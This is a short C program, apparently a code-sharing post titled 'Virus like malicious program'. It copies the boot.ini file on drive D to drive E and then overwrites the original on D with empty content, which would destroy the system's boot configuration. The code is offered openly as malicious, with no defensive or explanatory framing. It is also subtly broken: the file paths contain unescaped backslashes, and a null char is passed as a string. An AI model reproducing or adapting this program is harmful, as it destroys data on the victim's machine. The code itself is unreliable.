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Virus like malicious program

Virus like malicious program

#include <stdio.h>
#include <conio.h>
void main()
{
	char b,c;
	FILE *f,*g,*h;
	clrscr();
	c=NULL;
	f=fopen("d:\boot.ini","r");
	g=fopen("e:\boot.ini","w");
	while(1)
	{
		b=fgetc(f);
		if (b==EOF)
			break;
		fprintf(g,"%c",b);
	}
	h=fopen("d:\boot.ini","w");
	fprintf(h,"%s",c);
	fclose(h);
	fclose(g);
	fclose(f);
	getch();
}